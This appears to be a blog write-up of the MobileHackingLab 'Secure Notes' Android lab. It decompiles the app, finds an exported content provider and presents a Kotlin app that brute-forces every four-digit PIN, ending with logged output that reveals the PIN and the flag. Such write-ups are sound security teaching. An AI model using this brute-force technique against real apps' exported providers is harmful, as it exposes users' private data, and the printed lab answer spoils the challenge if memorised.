The Secure Notes lab gives the opportunity to program an Android application to uncover the hidden PIN and flag. In this blog post, we will create an application to interact with Secure Notes to obtain the PIN and flag.
Introduction
The first step is to open the application. Upon opening, we are presented with a textView to input a PIN. Entering a random PIN results in the message [ERROR: Incorrect PIN]
. Let’s delve into the application’s source code using JADX.
Static Analysis
We start by examining the MainActivity
, which contains functions that seem promising in our quest for the correct PIN. In the method onCreate$lambda$0
, the application queries a provider named SecretProvider
.
// MainActivity
package com.mobilehackinglab.securenotes;
...
import kotlin.jvm.internal.Intrinsics;
/* compiled from: MainActivity.kt */
@Metadata(m30d1 = {"\u0000&\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0000\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\u0012\u0010\u0005\u001a\u00020\u00062\b\u0010\u0007\u001a\u0004\u0018\u00010\bH\u0014J\u0010\u0010\t\u001a\u00020\u00062\u0006\u0010\n\u001a\u00020\u000bH\u0002R\u000e\u0010\u0003\u001a\u00020\u0004X\u0082.¢\u0006\u0002\n\u0000¨\u0006\f"}, m29d2 = {"Lcom/mobilehackinglab/securenotes/MainActivity;", "Landroidx/appcompat/app/AppCompatActivity;", "()V", "binding", "Lcom/mobilehackinglab/securenotes/databinding/ActivityMainBinding;", "onCreate", "", "savedInstanceState", "Landroid/os/Bundle;", "querySecretProvider", "pin", "", "app_debug"}, m28k = 1, m27mv = {1, 9, 0}, m25xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)
/* loaded from: classes3.dex */
public final class MainActivity extends AppCompatActivity {
private ActivityMainBinding binding;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(...)");
this.binding = inflate;
ActivityMainBinding activityMainBinding = null;
if (inflate == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
inflate = null;
}
setContentView(inflate.getRoot());
ActivityMainBinding activityMainBinding2 = this.binding;
if (activityMainBinding2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
} else {
activityMainBinding = activityMainBinding2;
}
activityMainBinding.submitPinButton.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.securenotes.MainActivity$$ExternalSyntheticLambda0
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.onCreate$lambda$0(MainActivity.this, view);
}
});
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onCreate$lambda$0(MainActivity this$0, View it) {
Intrinsics.checkNotNullParameter(this$0, "this$0");
ActivityMainBinding activityMainBinding = this$0.binding;
if (activityMainBinding == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
activityMainBinding = null;
}
String enteredPin = activityMainBinding.pinEditText.getText().toString();
this$0.querySecretProvider(enteredPin);
}
private final void querySecretProvider(String pin) {
String resultText;
ActivityMainBinding activityMainBinding;
Uri uri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider");
String selection = "pin=" + pin;
Cursor cursor = getContentResolver().query(uri, null, selection, null, null);
ActivityMainBinding activityMainBinding2 = null;
if (cursor != null) {
Cursor cursor2 = cursor.moveToFirst() ? cursor : null;
if (cursor2 != null) {
Integer valueOf = Integer.valueOf(cursor2.getColumnIndex("Secret"));
int it = valueOf.intValue();
if (!(it != -1)) {
valueOf = null;
}
if (valueOf != null) {
int it2 = valueOf.intValue();
resultText = cursor.getString(it2);
if (resultText == null) {
resultText = "[ERROR: Incorrect PIN]";
}
activityMainBinding = this.binding;
if (activityMainBinding != null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
} else {
activityMainBinding2 = activityMainBinding;
}
activityMainBinding2.resultTextView.setText(resultText);
if (cursor == null) {
cursor.close();
return;
}
return;
}
}
}
resultText = null;
if (resultText == null) {
}
activityMainBinding = this.binding;
if (activityMainBinding != null) {
}
activityMainBinding2.resultTextView.setText(resultText);
if (cursor == null) {
}
}
}
Looking into the querySecretProvider
function, we find that it takes the user-input PIN and queries a content provider to validate if the correct PIN was entered. If the correct PIN is provided, it displays a string, presumably our flag. Now, how can we exploit this Content Provider? The first step is to check the AndroidManifest.xml
to see if it’s exported.
<!--AndroidManifest.xml-->
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="com.mobilehackinglab.securenotes" platformBuildVersionCode="34" platformBuildVersionName="14">
<uses-sdk android:minSdkVersion="24" android:targetSdkVersion="33"/>
<permission android:name="com.mobilehackinglab.securenotes.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" android:protectionLevel="signature"/>
<uses-permission android:name="com.mobilehackinglab.securenotes.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
<application android:theme="@style/Theme.SecureNotes" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:extractNativeLibs="false" android:fullBackupContent="@xml/backup_rules" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules">
<provider android:name="com.mobilehackinglab.securenotes.SecretDataProvider" android:enabled="true" android:exported="true" android:authorities="com.mobilehackinglab.securenotes.secretprovider"/>
<activity android:name="com.mobilehackinglab.securenotes.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.mobilehackinglab.securenotes.androidx-startup">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.profileinstaller.ProfileInstallerInitializer" android:value="androidx.startup"/>
</provider>
<receiver android:name="androidx.profileinstaller.ProfileInstallReceiver" android:permission="android.permission.DUMP" android:enabled="true" android:exported="true" android:directBootAware="false">
<intent-filter>
<action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
</intent-filter>
</receiver>
</application>
</manifest>
We observe that the content provider is exported, allowing us to create our application to interact with it more easily. Additionally, we need to implement the DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION
permission.
Developing our application
We begin by opening Android Studio and creating a project. The first step is to modify our AndroidManifest.xml
by adding the following lines.
...
xmlns:tools="http://schemas.android.com/tools">
<!--Add this part-->
<uses-permission android:name="com.mobilehackinglab.securenotes.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
<queries>
<package android:name="com.mobilehackinglab.securenotes" />
</queries>
<!--To Here-->
<application...
...
</manifest>
This allows our application to make queries to com.mobilehackinglab.securenotes
, the application implementing the PIN, and we use the permission DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION
to ensure we can communicate with it.
After modifying the manifest, all that’s left is to program our MainActivity.kt
class.
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
for (i in 0..9999) {
exploit(i)
}
}
@SuppressLint("Range")
private fun exploit(pinValue: Int){
val uri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider")
val pin = String.format("pin=%04d",pinValue)
val cursor = contentResolver.query(uri, null, pin, null, null)
cursor?.apply {
if (moveToFirst()) {
do {
val data = getString(getColumnIndex("Secret"))
Log.d("Content:", "$pin secret: $data")
} while (moveToNext())
}
close()
}
}
}
This code iterates through all possible PINs, showing the attempted PIN and its associated secret. By running the application and waiting a bit, we obtain this output.
2024-01-29 09:20:09.480 8882-8882 Content: com.mobile.securenotes D pin=1973 secret: K���[�H���82�,�`�mt���b.e
2024-01-29 09:20:31.200 8882-8882 Content: com.mobile.securenotes D pin=2241 secret: +Ih��,�;�K#P�^��s����%��f��
2024-01-29 09:20:48.808 8882-8882 Content: com.mobile.securenotes D pin=2463 secret: c�*��:�Q�ҋ�g 9�U�7��3^�"T��
2024-01-29 09:20:58.067 8882-8882 Content: com.mobile.securenotes D pin=2580 secret: CTF{D1d_y0u_gu3ss_1t!1?}
2024-01-29 09:21:02.699 8882-8882 Content: com.mobile.securenotes D pin=2638 secret: a�m+��h(F
՚*y4�G���5��?
2024-01-29 09:21:41.101 8882-8882 Content: com.mobile.securenotes D pin=3120 secret: ����[�۵���I"���"��A�Ks??�
2024-01-29 09:21:44.857 8882-8882 Content: com.mobile.securenotes D pin=3166 secret: ��5(�)ʞ}ΰl?o(5(]���D��zq|
We can see that we discovered the correct PIN, which is 2580, and the flag! CTF{D1d_y0u_gu3ss_1t!1?}
Conclusion
This lab provides hands-on experience in reverse engineering an Android application, demonstrating an insecure content provider. From there, it offers the opportunity to learn how to create an Android application to interact with another to obtain a flag. What an amazing challenge! For a hands-on experience with these concepts, visit the lab at MobileHackingLab - Secure Notes. Embark on a journey of discovery and enhance your skills in mobile security.